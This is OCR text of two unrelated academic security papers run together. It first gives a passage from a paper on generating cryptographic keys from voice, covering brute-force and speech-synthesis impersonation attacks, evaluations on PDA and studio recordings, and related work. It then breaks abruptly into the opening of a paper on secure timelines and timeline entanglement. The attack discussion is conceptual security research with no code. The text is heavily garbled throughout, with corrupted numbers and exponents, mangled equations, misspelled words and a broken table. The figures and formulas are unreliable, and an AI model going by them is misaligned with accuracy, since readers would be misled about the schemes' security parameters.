rectness. Note that for c = Cmax, (5) is less than (2) 
by (’")/2 since on average, reconstruction succeeds 
after searching half of the feature descriptors that 
correct 6 on exactly c locations. 


Our results for this benchmark, shown in Figure 2, 
are significantly less than multiplying (5) by the 
time to perform and test a single reconstruction in 
our secret sharing scheme. The reason is due to 
the significant optimizations that can be achieved 
as described in Section 4.2. 


4.4 Security 


One potential security weakness of this scheme 1s 
the fact that an adversary who captures the device 
can conceivably reconstruct s from not just one el- 
ement of the table per row, but instead using any 
m elements of the table. For example, if the adver- 
sary had reason to believe that the first m/2 rows 
contained no distinguishing features—and thus all 
table elements in these rows were valid—then the 
adversary could set ¢’[i] = ¢{7] for 0 < 1 < m and 
U' = (u;)o<icm and use these to solve for s. There- 
fore, it is important to use only features that are 
more likely than not to be distinguishing. 


We now describe the fastest attack on our scheme of 
which we are aware. An attacker who captures the 
device on which the key ts generated but who has no 
information about the user’s distinguishing features 
may attack the system by repeatedly guessing a fea- 
ture descriptor b at random and solving (4). If there 
are d distinguishing features then each guess will be 
successful with probability 2—¢, but will require the 
attacker to solve a system of m linear equations, 
which is quite time consuming. A faster approach 
is to choose feature descriptors bo, 61,... such that 
each differs from the last in one bit. Then, comput- 
ing Die: requires only one new Gaussian elimination 
step per b;, and the further optimizations outlined 
in Section 4.2 can also be applied in this case. 


The expected time for this attack to succeed can be 
computed as follows. Assume that b; and b;4, differ 
in exactly one position that 1s chosen at random. 
Let G(c) for c > 2 denote the expected number of 
Gaussian elimination steps performed until reaching 
a b; with no errors (i.e., that is consistent with all of 
the user’s distinguishing features), assuming that bo 
has c errors. Note that b;41 has a different number 
of errors than b; with probability d/m, and if it has 
a different number of errors, then it decreases the 
number of errors (by one) with probability c/d and 
increases it with probability (d — c)/d. Hence, we 
get the following equations for G(c). 


G(2) = 0 
GC). = ™ + SG(e-1) + Sele +1) 


fOr2:< 6 <0 


Solving for these linear equations at c = d/2 yields 
the expected number of Gaussian elimination steps 
before recovering the key, since a random feature de- 
scriptor contains an expected c = d/2 errors. More- 
over, after the Gaussian elimination step for each };, 
m(m — 1) multiplications are required to test b; on 
average. So, the total cost of this attack is as shown 
in Figure 3. (Actually, this is a conservative lower 
bound, since the cost of each Gaussian elimination 
step itself is not counted.) 


In the empirical evaluation that we perform in Sec- 
tion 5, we evaluate our approach at m = 60, which 
is the smallest value of m shown in Figure 3. Here, if 
70% of the features are distinguishing, then this at- 
tack conservatively requires an expected 244 multi- 
plications. If 807% of the features are distinguishing, 
then this attack requires at least 2°° multiplications 
on average. Obviously the security of the scheme 
improves as m and d/m are increased, and this is a 
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Figure 2: Key reconstruction performance for m € {60, 70,80}. Depicted are average (of 50 executions) 
elapsed times for key reconstruction on the IPAQ (left) and a 500 Mhz processor which reflects upcoming 


PDA processor trends (right). 
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Figure 3: A lower bound on the expected number 
of multiplications to exhaustively search for the key, 
assuming that the d distinguishing features are uni- 
formly distributed; see Section 4.4. 


goal of our ongoing work. 


5 Empirical Results 


In this section we empirically evaluate the security 
of our technique using two different data sets. In 
these evaluations we attempt to conservatively char- 
acterize the security of our technique against an at- 
tacker who captures the device. It is clear from 
Section 4.4 that the number d of distinguishing fea- 
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tures is central to the security of our scheme, in 
that if d is small, then our scheme is vulnerable 
to a key recovery attack via exhaustive search (see 
Figure 3). Therefore, in order to demonstrate that 
our approach is plausibly secure, it is necessary to 
demonstrate that a high number of distinguishing 
features can be achieved using our techniques. In 
addition, we also attempt to characterize the degree 
to which additional knowledge aids the attacker’s 
quest for the key, in the form of either knowing the 
passphrase said by the user or having recordings of 
the user saying phrases other than her passphrase. 


We remind the reader that large d is not sufficient 
for strong security. For example, even if all fea- 
tures are distinguishing (d = m) for all users, but 
all users’ feature descriptors are identical (and the 
attacker knows this), then an attacker who cap- 
tures a user’s device can trivially determine the key. 
Therefore, it is equally important that users’ fea- 
ture descriptors vary widely—or more precisely, are 
drawn from a distribution with high entropy. An 
entropy evaluation of user’s utterances from phone 
recordings of users saying the same passphrase is 
described in [16, 17], and these studies suggest that 
the entropy available in user utterances it substan- 
tial even when users say the same passphrase. As 
already noted, however, since that study involves 
only recordings of users taken over phone lines, and 
since that study is limited to m = 46 features, it is 
insufficient in several ways. Unfortunately, the data 
sets with which we are presently working (see Sec- 
tions 5.1 and 5.2) include too few users to enable 
meaningful measurements of the entropy of users’ 
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feature descriptors, and so here we report results 
for distinguishing features only. 


In order to calculate the average number of distin- 
guishing features per user, it is of course necessary 
to define when a feature is distinguishing. Let p,; 
and o; denote the mean and standard deviation of 
feature ¢; over the recent history of successful lo- 
gins. Then we say that the i-th feature is distin- 
guishing if |; —7;| > ko; for some parameter k > 0. 
Note that if feature 2 is distinguishing, then either 
T;, > pi + ko; and so usually b(2) = 0 for the user 
(see (1)), or % < pi — ko; and so usually b(2) = 1 
for the user. Intuitively, the parameter k tunes the 
“sensitivity” of the scheme, in that a small k im- 
plies more distinguishing features, and a large k im- 
plies fewer. Obviously k must be tuned to balance 
achieving a high number of distinguishing features 
with enabling the user to successfully regenerate his 
key reliably, since a higher number of distinguish- 
ing features is advantageous for security but also 
requires increasingly similar utterances to regener- 
ate the key. The parameter k will play a central role 
in our evaluation. 


The features ¢; that we use in the balance of this pa- 
per are described in [16, Section 3.2]. Each is defined 
by comparing the position of a vector characterizing 
a segment of the utterance to a fixed plane. This 
plane is a parameter of our scheme, and though we 
will rarely mention it below, it is important for the 
reader to be aware that the data we present is based 
on a plane selected, based on our data, to optimize 
our measures in certain ways. On the one hand, this 
means that our data presents what could be achieved 
with a good selection of this plane, and is thus op- 
timistic in this regard. On the other hand, since 
this plane is selected by searching through a small 
set of candidate planes, (infinitely) many planes are 
omitted from this search. Consequently, it is likely 
that planes yielding better measures exist. ‘The ex- 
perimentation we have conducted thus far does not 
permit us to conclude how to select this plane in 
general, and this continues to be an area of our on- 
going work. 


4The “recent history” is defined to be the last h successful 
logins for some parameter h. Records of the last h successful 
logins can be stored in a file encrypted with the key that is 
reconstructed on a successful login. The parameter A will not 
play a role in our analysis here. 


5.1 Evaluation of IPAQ! recordings 


Our first dataset was collected on a device much like 
those we envision for use with our scheme, namely 
a Compaq IPAQ'™ }H3600 series. The IPAQ is a 
personal digital assistant with a 206 MHz Stron- 
gArm CPU, atouch screen LCD, 16 MB flash ROM, 
16 MB SDRAM, a Philips audio codec UDA1341T 
(i.e., an A/D with data compression), built-in mi- 
crophones, a compact flash type-II expansion slot, 
and a speaker output jack. The audio codec has 
an integrated analog front-end including automatic 
gain control, which adjusts the signal strength based 
on the level of the spoken utterance. The sound 
driver is full duplex and Open Sound System (OSS) 
compliant [29], though we encountered some signal 
problems when recording samples at 8 kHz. For this 
reason we recorded our samples at 32 kHz and then 
downsampled to 8 kHz offline; see Section 3. 


As illustrated in (3) of Section 3, the storage re- 
quirements for merely saving the utterance of a 
passphrase can be significant. ‘To overcome the stor- 
age limitations of this particular IPAQ in light of 
this requirement—and in particular, to permit sav- 
ing multiple utterances in our user testing—we used 
a 1 GB IBM Microdrive!™ (in the compact flash ex- 
pansion slot) as a stable store. However, to avoid 
recording noise from the Microdrive on disk seeks, 
the recordings are first written to a primary par- 
tition in volatile memory. When the memory ca- 
pacity is reached, the Microdrive is automatically 
mounted, the data flushed to an ext2 file system on 
the drive, and then unmounted. In the event that 
a wireless connection can be established, the Micro- 
drive can be replaced with a wireless network card, 
and the data written to a remote mount point. 


The IPAQ was used to record utterances from ten 
users. All ten users were recorded saying the 
same passphrase multiple times, which in this case 
was the address of Carnegie Mellon University: 
“Carnegie Mellon University, 5000 Forbes Avenue, 
Pittsburgh, Pennsylvania 15213”. ‘The user was ap- 
proximately one foot away from the IPAQ’s micro- 
phone. The user was required to wait for at least one 
second between pressing the “record” button of our 
recording application and speaking, so as to not in- 
terleave the voice signal with the device’s attempts 
to perform automatic gain control. (Since the auto- 
matic gain control converges within 0.5 seconds on 
the IPAQ, we later discarded the first half second 
of recorded speech.) Each utterance was separated 
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from the next by approximately one minute. ‘The 
acoustic environment in which these utterances were 
recorded was a standard office environment, and as 
such, background noise was significant. Six record- 
ings of each user—the “training” utterances—were 
used to determine the distinguishing features for 
that user. The remaining recordings for each user-— 
the “testing” utterances, of which there were six 
from each user on average—were each used to gen- 
erate a feature descriptor. Comparing each feature 
descriptor to the same user’s distinguishing features, 
to determine the number of distinguishing features 
with which the feature descriptor was consistent, 
counted as a “true speaker” trial. Comparing each 
feature descriptor to another user’s distinguishing 
features counted as an “imposter” trial. 


The results of this analysis are shown in the left side 
of Figure 4. This graph demonstrates the average 
number of distinguishing features per user as a func- 
tion of k, and the average number of these that the 
feature descriptor of a true speaker or an imposter 
matched.® The error bars on the true speaker and 
imposter curves show one standard deviation above 
and below the average. 


There are several points worth noting about these 
results. First, the gap between the “distinguishing 
features” and “true speaker” points indicates the 
number Cmax Of error corrections that would need 
to be performed during the key regeneration pro- 
cess to achieve a reasonably low false reject rate. 
For example, if k = 0.6, then cmax = 5 should 
achieve a reasonable false reject rate, and correct- 
ing 5 errors is feasible on today’s devices (see Sec- 
tion 4.3). Unfortunately, this data suggests that 
choosing k = 0.6 yields fewer distinguishing features 
than we would like for security (d/m ~ 0.5 only). 
A second point worth noting is that the human im- 
posters, even when saying the same passphrase as 
the true user, did not match significantly more of the 
true user’s distinguishing features than if they had 
simply guessed a random feature descriptor (shown 
by the “random guessing” line in Figure 4, which is 
simply half the “distinguishing features” line). 


°The points for a given value of k were generated using a 
plane chosen to maximize the number of distinguishing fea 
tures and, among all such planes, to maximize a weighted 
average of the number of features matched by the “true 
speaker” and missed by the “imposter”. See the last para 
graph before Section 5.1 for a discussion of this plane. 
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5.2 Evaluation of Speaker-J recordings 


In order to evaluate a different model of imperson- 
ation, i.e, one where the attacker has knowledge of 
the speaker being impersonated, we explored a sec- 
ond data set. Our second data set is one collected 
within the context of a different research effort, and 
so consequently we had less control over the avail- 
ability of phrases said by the same user multiple 
times. ‘This data set consists of recordings of a 
professional speaker, here called “Speaker-J”, taken 
in a professional studio (i.e., a room with virtually 
no background noise) using a high-quality micro- 
phone. The same microphone was used through- 
out data collection to ensure flat and consistent fre- 
quency response. Consequently, this data set is of 
a much higher quality than the data set described 
in Section 5.1. This data consists of recordings col- 
lected for two separate experiments, but both spo- 
ken by the same speaker, Speaker-J. Part I consists 
of approximately 1600 sentences (roughly 1 hour of 
speech) and includes the speaker reading (with con- 
sistent voice quality and head-to-microphone dis- 
tance) both standard newswire text and a pre- 
pared script that covers rare combinations of speech 
sounds. Part II consists of 38 minutes of speech con- 
sisting of a group of sentences repeated 7 times, all 
recorded in a single day. The elapsed time between 
the two datasets was approximately 1 year. 


To evaluate our technique, each of these phrases (in 
part II) were used as a passphrase in our scheme: 
five recordings were used to generate the speaker’s 
distinguishing features for a given phrase, and two 
recordings were used to simulate the speaker at- 
tempting to regenerate his key. Specifics about the 
chosen passphrases can be found in Table 1. 


The right side of Figure 4 shows the resulting “dis- 
tinguishing features” and “true speakers” curves. 
These curves are analogous to the curves in the 
left side of Figure 4 with the same labels: the first 
characterizes the number of distinguishing features 
for this user based on the training utterances, and 
the second gives the average number of features on 
which a feature descriptor generated from a test ut- 
terance matched the distinguishing features. If we 
look at k = 0.6, we again see that Cmax * 5 should 
approach a reasonable false negative rate (and is 
plausible by Section 4.3). Moreover, according to 
this data set, the distinguishing features at k = 0.6 
are approaching a better range for security, with 
d/m = 0.6. On the other hand, the higher quality 
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Figure 4: Evaluation of two data sets; see Sections 5.1 and 5.2. 


of these recordings may provide a more optimistic 
picture than would be realized in practice. 


Part I of the Speaker-J data set is very rich, and 
moreover, the research effort that generated this 
data set carefully annotated the speech, identify- 
ing the beginning, ending and midpoint of each 
phoneme it contains. Informally, phonemes are the 
basic units in the sound system of a language; in 
the case of English, there are about 50 phonemes. 
With these annotations, diphones can be extracted 
from the recorded speech. A diphone is a portion 
of speech beginning in the middle of one phoneme 
and ending in the middle of the next phoneme; a 
diphone thus is an example of how the user’s speech 
transitions from one phoneme to another. Diphones 
reveal much about the voice patterns of the user 
who uttered them. So, part I of the Speaker-J data 
set provides the opportunity to attempt a differ- 
ent form of attack against our system, namely one 
that would simulate an attacker who had a corpus 
of recordings of the user saying many things other 
than the passphrase itself. A question we attempt 
to answer is whether these recordings assist the at- 
tacker significantly in finding the user’s key. 


Specifically, consider an attack in which the at- 
tacker wishes to test a candidate passphrase (in our 
case, selected from part II) but does not how the 
user speaks it. The attacker uses a text analysis 
module from a text-to-speech (TTS) system [28] to 
translate the text of the passphrase into a string 
of phonemes that realize the passphrase (i.e., a pro- 
nunciation for the text), along with other important 
information that is typically used when synthesizing 
speech (e.g., the duration and the pitch contour for 


each phoneme). Of course, any of these features 
may not match exactly what the user says when she 
speaks the passphrase. For example, a given word 
can be pronounced a number of different ways. So, 
even given the correct passphrase as input, there is 
no guarantee the text analysis module will yield a 
string of phonemes that matches the way the user 
speaks the passphrase. Moreover, the duration and 
pitch predictions made by the text analysis might 
differ significantly from what the real user sounds 
like. 


Nevertheless, suppose the attacker possesses a cor- 
pus of recordings of the user speaking various 
phrases other than the passphrase (in our ex- 
periment, part I of the Speaker-J data), anno- 
tated to identify phonemes and diphones. The at- 
tacker can then attempt to construct how the user 
would say the passphrase, using techniques derived 
from a concatenative text-to-speech synthesis sys- 
tem (e.g., [12]), in one of the following ways: 


Cut-and-paste imposter Concatenate the raw 
speech samples (diphones, or longer segments) 
as-is from the inventory. There are various 
forms of this. On the one hand, the at- 
tacker may make no modifications to duration 
or pitch of the resulting speech. This yields 
speech that can sound very much like the true 
speaker, though there can be severe disconti- 
nuities at the concatenation boundaries. In 
addition, such an approach can yield notice- 
able differences in the recording levels within 
the passphrase. On the other hand, the at- 
tacker can perform minimal signal processing 
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to match the loudness levels and smooth the 
discontinuities. 


TTS imposter Use a traditional TTS signal pro- 
cessing back-end to synthesize the passphrase. 
Note that this is designed to produce nice 
sounding speech, but that it also makes use 
of the duration and pitch predictions that are 
output from the text analysis module. If these 
predictions do not correspond to the way the 
user actually speaks, this step might impede 
the attack. For example, the user may have an 
idiosyncratic way of saying a particular word, 
either in her passphrase or in the instance in 
the attacker’s recordings of the user. 


We experimented with four types of cut-and-paste 
attacks and two types of TTS attacks. The results 
of these tests are shown in the right side of Figure 4. 
The curves labeled “TTS imposter” and “Cut-and- 
paste imposter” capture the best attacks of each 
type that we discovered. As the curves demonstrate, 
these attacks both performed similarly, and outper- 
formed random guessing in some cases. However, 
it appears that the attacks as we conducted them 
would fall short of breaking our scheme. 


Though part I of the Speaker-J data set consists of 
1600 sentences, it is not the case that an attacker 
would need to assemble of corpus of user recordings 
of this extent to attack a typical passphrase. Table 1 
approximates the average number of sentences and 
their cumulative duration that the attacker would 
need to record to obtain the diphones in each of the 
five passphrases we examined. These numbers were 
obtained by randomly selecting sentences from part 
I of the Speaker-J dataset until the needed diphones 
were obtained. 


sentences 
needed 


340 (805 secs) 
455 (1071 secs) 


1297 (3104.88 secs) 


passphrase 
phonemes 


passphrase 
number 





oe 


Table 1: Approximate number of sentences attacker 
would need to record to obtain diphones necessary 
to reconstruct each passphrase tested. 


As speech synthesis technology improves, the size 
of the corpus of user recordings required to signifi- 
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cantly narrow the search for the user’s key will only 
decrease. However, TTS and cut-and-paste attacks 
of the types we performed require an annotated cor- 
pus, and achieving this annotation is a very manu- 
ally intensive process that is typically conducted by 
speech experts. In the case of the Speaker-J data 
set, it is estimated that 200 expert-hours of effort 
was invested in achieving the annotated data set. 
(It takes about one hour to manually segment one 
minute of speech.) This is already a significant bar- 
rier to an attacker wishing to utilize these avenues 
of attack. Though automatic labellers are available 
(e.g., [30]), their performance is poor, and we expect 
it would substantially increase the error rates for 
the attacks outlined herein. We do expect, however, 
that the success of such attacks will increase even for 
our own data sets, as we explore in more detail ways 
to improve the effectiveness of these attacks. In the 
full version of this paper we will provide a more de- 
tailed analysis of these threats on a per-passhprase 
basis. We hope that this analysis will be useful for 
designing effective countermeasures. 


6 Related Work 


The only prior work of which we are aware on the 
topic of generating cryptographic keys from voice 
utterances is that in which the cryptographic key is 
merely the text of what is spoken, recognized using 
standard techniques in automatic speech recogni- 
tion. (Actually, we are unaware of specific systems 
that even just do this, but since it is an immediate 
extension of using a typed password as a crypto- 
graphic key, we treat it as obvious prior work.) To 
our knowledge, our work is the only research to- 
ward determining a repeatable cryptographic key 
that draws entropy from how the user speaks the 
passphrase. How this paper contributes over our 
own prior publications on this topic was described 
in Section 2. 


That said, there has been work on generating cryp- 
tographic keys from biometrics other than voice. 
The first such work of which we are aware is due 
to Soutar et al. (25, 26, 27], who describe methods 
for generating a repeatable cryptographic key from a 
fingerprint using optical computing and image pro- 
cessing techniques. These techniques generate a key 
from a two-dimensional image (a fingerprint being 
the obvious example), but do not seem to be well- 
suited to the task we pursue here. Solutions based 
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on this technology are marketed by Bioscript (see 
http: / /www.bioscrypt.com/). 


A different approach to generating a repeatable key 
based on biometric data is due to Davida, Frankel, 
and Matt [4]. In this scheme, a user carries a 
portable storage device containing (i) error correct- 
ing parameters to decode readings of the biometric 
(e.g., an iris scan) with a limited number of errors 
to a “canonical” reading for that user, and (ii) a 
one-way hash of that canonical reading for verifica- 
tion purposes. This canonical reading, once gener- 
ated, can be used as a cryptographic key, or can be 
hashed together with a password (using a different 
hash function) to obtain a key. Juels and Watten- 
berg [9] generalized and improved the Davida et al. 
scheme through a novel modification in the use of 
error-correcting codes, thereby shrinking the code 
size and achieving higher resilience. ‘These tech- 
niques are a different approach for generating cryp- 
tographic keys from biometric readings, and reach a 
correspondingly different set of tradeoffs. Notably, 
whereas our techniques permit a user to reconstruct 
her key even if she is inconsistent on a majority 
of her feature descriptor bits (not uncommon when 
using voice as a biometric [6]), these techniques do 
not. 


More distantly related work is that of Ellison et 
al. for generating a cryptographic key based on 
answers to questions posed to a user [7]. The 
work is premised on the assumption that ques- 
tions can be posed that the legitimate user will an- 
swer one way but others attempting to imperson- 
ate the user will answer another way. ‘Their con- 
struction resembles one instance of our techniques, 
namely that of [15, Sections 5.1-5.2], and in this 
way their scheme achieves a degree of resilience to 
forgotten answers. However, Bleichenbacher and 
Nguyen [2] have shown that the Ellison et al. scheme 
is insecure, whereas our constructions appear to be 
much stronger. Another construction similar to that 
in [15, Sections 5.1—5.2] was used in the design of a 
forensic database, where a person’s medical record 
can be decrypted only once a DNA sample of the 
person is obtained (e.g., at a crime scene) [3]. How- 
ever, this scheme is also insufficient for our purposes, 
due to the same inadequacies as the scheme of [15, 
Sections 5.1-5.2]. 


Impersonation attacks using recordings of the user 
speaking phrases other than her passphrase, as we 
explored in Section 5.2, have been previously stud- 
ied for the purpose of fooling speaker verification 


systems (e.g., [8, 18, 14, 23]). The approach taken 
in these works are somewhat different from our ex- 
ploration here, however. Notably, in [14, 23], the 
authors describe synthesizing a passphrase using a 
speaker-independent model, and then adapting the 
pitch and duration of the synthesized passphrase 
based on relatively few recordings of the user. ‘The 
authors give evidence that even these simple attacks 
can make it difficult to set acceptance thresholds 
for a speaker verification system. In future work we 
hope to explore how these techniques can be applied 
in the context of our work. 


7 Conclusion 


The viability of (re) generating strong cryptographic 
keys from voice utterances remains unproven. While 
we believe that the work presented in this paper of- 
fers steps toward achieving this goal and evidence 
that it can be reached, some critical advances are 
still required. Notably, our analyses using m = 46 
in [16] and m = 60 here are insufficient for security 
as required in commercial applications, and our fu- 
ture work will continue to focus on reaching m = 80 
or higher. More extensive user trials to evaluate 
the entropy of users’ distinguishing features is also 
needed. And, there remain numerous open ques- 
tions as to how to tune an implementation of our 
approach in practice. ‘The analysis of Section 5 
hides many parameters from view, and the relation- 
ship between these parameters, security and usabil- 
ity need to be further explored. 
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Abstract 


A secure timeline is a tamper-evident historic record 
of the states through which a system poes thronghout 
its operational history. Secure timelines can help us 
reason about the temporal ordering of system states 
in a provable manner. We exteud secure timelines to 
encompass multiple. mutually distrustful services, us- 
ing tuneline entanglement. ‘Timeline entanglement as- 
soclates disparate timelines maintained at independent, 
systems, by linking undeniahly the past of one timeline 
to the future of another. Timeline entanglement is a 
sound method to map a time step in the history of one 
service onto the timeline of another, and helps clients 
of entangled services to get persistent temporal proofs 
for services rendered that survive the demise or non- 
cooperation of the originating service. Iu this paper we 
present the design and inplementation of Tiuneweave. 
our service developmeut framework for timeline cutan- 
element based on two novel disk-based autheuticated 
data structures. We evaluate Timeweave’s performance 
characteristics and show that it can be efficiently de- 
ployed in a loosely-coupled distributed system of sev- 
eral hundred nodes with overhead of roughly 2-8% of 
the processing resources of a PC-prade system. 


1 Introduction 


A large portion of the functionality offered by cur- 
rent commercial “secure” or “trusted” on-line ser- 
vices focuses on the here and now: certification au- 
thorities certify that a public signature verification 
key belongs to a named signer, secure file systems 
vouch that. the file with which they answer a lookup 
query is the one originally stored, and trusted third 
parties guarantee that they do whatever they are 
trusted to do when they do it. 

The coneept of history las received consider- 
ably less attention im systems and security research. 
What, did the certification authority certify a year 


ago. aud which file did the secure file system return 
to a given query last week? 

Interest in such questions is fueled by more than 
just curiosity. Consider a scenario where Alice, 
a certified accountant, consults confidential docu- 
ments supplied by a business manager at client com- 
pany Norne, Inc. so as to prepare a financial re- 
port on behalf of the company for the Securities 
and Exchange Commission (SEC). If, in the future, 
the SEC questions Alice’s integrity, accusing her of 
having used old, obsolete financial information to 
prepare her report, Alice might have to prove to 
the SEC exactly what information she had received 
from Norne, Inc. before preparing her report. To 
do that, she would have to rely on authentic his- 
toric data about documents and cormmunication ex- 
changes between herself and Norne, on the authen- 
tic, relative and absolute timing of those exchanges, 
perhaps even on the contents of tle business agree- 
ment between herself and the coinpany at the time. 
Especially if the company maliciously chooses to 
tamper with or even crase its local records to repucli- 
ate potential transgressions, Alice would be able to 
redeem herself only by providing undeniable proof 
that at the time in question, Norne, Inc. did in fact 
present her with the documents it now denies. 

Besides this basic problem, many other periph- 
eral problems lurk: what if Norne, Inc. no longer 
exists when Alice has to account for her actions? 
What if Alice and the SEC belong to different trust 
domains, i.c., have different certification authorities 
or different secure time stamping: services? 

In this work we formulate the concept of secure 
tirnclines based on traditional time stamping (5, 11] 
aud authenticated dictionaries [8, 10] (Section 3). 
secure timelines allow the maintenance of a persis- 
tent, authenticated record of the sequence of states 
that an accountable service takes during its lifetime. 


Furthermore, we describe a tecliniqne called tzne- 
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line entanglement for building a single, common 
tamper-evident history for multiple mutually dis- 
trustful entities (Section 4). First, timeline entan- 
glement enables the temporal correlation of inde- 
pendent histories, thereby yielding a single timeline 
that encompasses events on independent systems. 
This correlation can be verified independently in the 
trust domain of each participant, albeit with some 
loss of temporal resolution. Second, it allows clicnts 
to preserve the provability of temporal relationships 
among system states, even when the systems whose 
states are in question no longer participate in the 
collective, or are no longer in existence. 

We then present Tuneweave, our prototype 
framework for the devclopment. of loosely-coupled 
distributed systems of accountable services that 
uses timeline entanglement to protect historic in- 
tegrity (Section 5). We describe novel, scalable al- 
gorithms to maintain secure timelines for extended 
time periods and for very large data collections. Fi- 
nally, we evaluate the performance characteristics of 
Timeweave in Section 6 and show that. it efficiently 
supports large-sized groups of frequently entangled 
services—up to several hundred—with maintenance 
overhead that does not surpass 2-8% of the compu- 
tational resources of a PC-grade server. 


2 Background 


In this work we draw on results from research on se- 
cure time stamping and authenticated dictionaries. 
The main inspiration behind our approach comes 
from Lamport’s classic logical clock paradigm [14]. 


2.1 Secure Time Stamping 


In secure time stamping, it is the responsibility of 
a centralized, trusted third party, the Time Stamp- 
ing Service (TSS), to maintain a temporal ordering 
of submission among cligital documents. As doc- 
uments or document digests are submitted to it, 
the TSS links them in a tamper-evident chain of 
authenticators, using a one-way hash function, and 
distributes portions of the chain and of the authenti- 
‘ators to its clients. Given the last. authenticator in 
the chain it is impossible tor anyone, incliding the 
TSS, to insert. a document. previously unseen in the 
middle of the chain unobserved, without significant 
collusion, and without finding a second pre-image 
for the hash function used [11]. 

Benaloh and de Mare [5] describe synchronous, 
broadcast-based time stamping schemes where no 
central TSS is required, and introduce the concept 
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of a time stamping round. All documents time 
stamped during a round are organized in a data 
structure, flat or hierarchical, and yield a collec- 
tive digest that can be used to represent all the 
documents of the entire round, in a tamiper-cvident 
Inanner; given the digest, the existence of exactly 
the documents inside the data structure can be 
proved succinctly, and any document outside the 
data structure can be proved not to be there. 

Buldas et. al. [8] extend previous work by signifi- 
cantly diminishing the need to trust the TSS. They 
also introduce efficient schemes for maintaining rela- 
tive temporal orderings of digital artifacts with log- 
arithmic complexity in the total number of artifacts. 
A large, concurrent project towards the full speci- 
fication of a time stamping service is described by 
Quisquater ct al [21]. 

Ansper et al. [2] discuss time stamping service 
availability, aud suggest a scheme similar to consen- 
sus in a replicated system to allow for fault-tolerant 
time stamping. 

Finally, Schneier and Kelsey propose a flexible 
scheme to protect access-controlled ordered logs on 
untrusted machines against tarnpering or unautho- 
rized retroactive disclosure [23], based extensively 
on hash chaining. They address the problern in an 
application setting where historic integrity need be 
maintained only for the short-term, until the local 
history is uploaded to a trusted server for evaluation 
and storage, and where the entities enforcing his- 
toric integrity need not be themselves held account- 
able, as is the case in many corporate intranets. 


2.2 Authenticated Dictionaries 


Authenticated dictionaries are data structures that 
operate as tamper-evident indices for a dynamnic 
data sect. They help compute and maintain a one- 
way cdligest of the data set, such that using this digest. 
aud a succinet proof, the existence or non-existence 
of any element in the set can be proved, without 
considering the whole set. 

The first such authenticated dictionary is 
Merkle’s hash tree [17], originally proposed as a dig- 
ital signature scheme. Hash trees are binary trees in 
whose leaves the data set elements are placed. Each 
leaf node is labeled with the hash of the contained 
data element and cach interior node is labeled with a 
hash of the concatenated labels of its children. The 
label of the root. node is a tamper-evident digest 
for the entire data set. The existence proof for an 
elernent in the tree consists of the necessary infor- 
ination to derive the root hash from the element: in 
question; specifically, the proof consists of all labels 


USENIX Association 


USENIX Association 


and locations (left or right) of all siblings of nodes 
on the path from the element to the tree root. 

Tree-based anthenticated dictionaries remiuscent, 
of Merkle’s hash trees are most. notably proposed 
for the distribution of certificate revocation records, 
first by Kocher [13], and then in an incrementally 
updatable version by Naor and Nissim [18]. Buldas 
et al. obviate the need for trusting the dictionary 
Inaintaimer to keep the dictionary sorted, by imtro- 
ducing the authenticated search tree [6, 7]. Authen- 
ticated search trees are like hash trees, but all nodes, 
leaves and imternal nodes alike, contain data set el- 
ements. The label of the node is a hash not only of 
the labels of its children, but also of the clement of 
the node. Existence proofs contain node elements 1m 
addition to nodes’ siblings’ labels on the pat from 
the element in question to the root. In this manner, 
an existence proof follows the same path that the 
tree maintainer must take to find a sought element; 
as a result, clients need not unconditionally trust, 
that the tree maintainer keeps the tree sorted, since 
given a root hash, there is a unique descent path 
that follows the standard traversal of search trees 
towards any single clement. 

Authenticated dictionaries have also been pro- 
posed based on different. data structures. Buldas 
et al. [8] describe several tree-like “binary linking 
schemes.” Goodrich et al. [10] propose an authenti- 
cated skip list that relics on commutative hashing. 

In the recent literature, the maintenance of au- 
thenticated but persistent dynamic sets [9, p. 294] 
has received some attention. Persistent dynamic 
sets allow modifications of the elements in the 
set, but maintain cnough information to recreate 
any prior version of the set. Anagnostopoulos et 
al. [1] propose and implement persistent. authenti- 
cated skip lists, where not only older versions of the 
skip list are available, but they are each, by them- 
selves, an authenticated dictionary. In the same 
work, and also in work by Maniatis and Baker [16], 
persistent, authenticated dictionaries based on recl- 
black trees are sketched in some detail. although the 
resulting designs are different. Specifically, in the 
former work, although multiple versions of the au- 
thenticated red-lblack tree are maimtained, the col- 
lection of versions is itself not authenticated; the 
latter work uses a second, non-persistent authenti- 
cated dictionary to authenticate the tree versions. 


3. Secure Timelines 


We define a secure timeline within a service domain. 
A service domain comprises a system offering a par- 


ticular service the service of the domain and a 
set of chents who use that svstem for that service 
the chents of the domain. Sneh a service domain 
could be, for example, the file server and all clients 
of a secure file system, or an cnterprise-wide certi- 
fication anthority along witl: all certificate subjects 
within that enterprise. 

Within the context of a service domain. a secure 
timeline is a tamper-cevident, temporally-ordered, 
append-ouly sequence of the states taken by the ser- 
vice of that domaim. In a sense. a secure tinieline 
defines an authenticated logical clock for the service. 
Each time step of the clock is annotated with the 
state in which the service is at the time, and an au- 
thenticator. The authenticator is tamper-cvident: 
viven the authenticator of the latest time step of 
the timeline, it is intractable for the service or for 
any other polynomially-bound party to “change his- 
tory” unobtrusively by altering the arinotations or 
authenticators of past time steps. 

In this work, we consider secure timelines based 
on one-way (second pre-image-resistant) hash fune- 
tions. Assunung, as is conmunon, that one-way hash 
functions exist, we use such functions to define the 
“arrow of tine.” In other words, given a presum- 
ably one-way hash function h such as SHA-1 [19], if 
b = h(a), then we conclude that value a was known 
before value b, or a temporally precedes b, since given 
b the probability of guessing the right @ is neyligible. 

A simple recursive way to define a secure tine- 
line is as follows: if at logical time « the clock has 
authenticator 7;, then at the next logical time step 
24+ 1, the hash function fh is applied to the pre- 
vious clock authenticator 7; and to the next state 
of the system 5;,,;. Assuming that f is a one-way 
digest function from system states to digests, then 
Tit = A(t + UITil|f(Si41)), where | denotes con- 
catenation. Given 7j41, it is intractable to produce 
appropriate a such that Tj4. = h(@ + 1|/T;"lla), so 
as to make an arbitrary authenticator T;’ 4 T; ap- 
pear as the timeline authenticator of logical step 7, 
from the second pre-image resistance of the hash 
function. Similarly, for a given 7j4; only a unique 
state digest dj41 = f (S41) is probable, and, from 
the one-way property of the state digest function f, 
only a unique system state S41 18 probable. There- 
fore, authenticator 741 1s, In a sense, a one-way 
digest of all preceding authenticators and system 
states, as well as of their total temporal ordering. 





Many existing acconntable services match the se- 
cure timeline paradigin, since secure timelmes are 
a generalization of secure time stamping serviccs 
(TSS) [11]. The service state of a TSS is an an- 
thenticated dictionary of all docurnent digests sulb- 
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Figure |: The first. few steps of a secure timeline. Time 
flows from left to right. Note that the current authen- 
ticator of the timeline is an input to the next state of 
the system. We explain one way to accomplish this in 
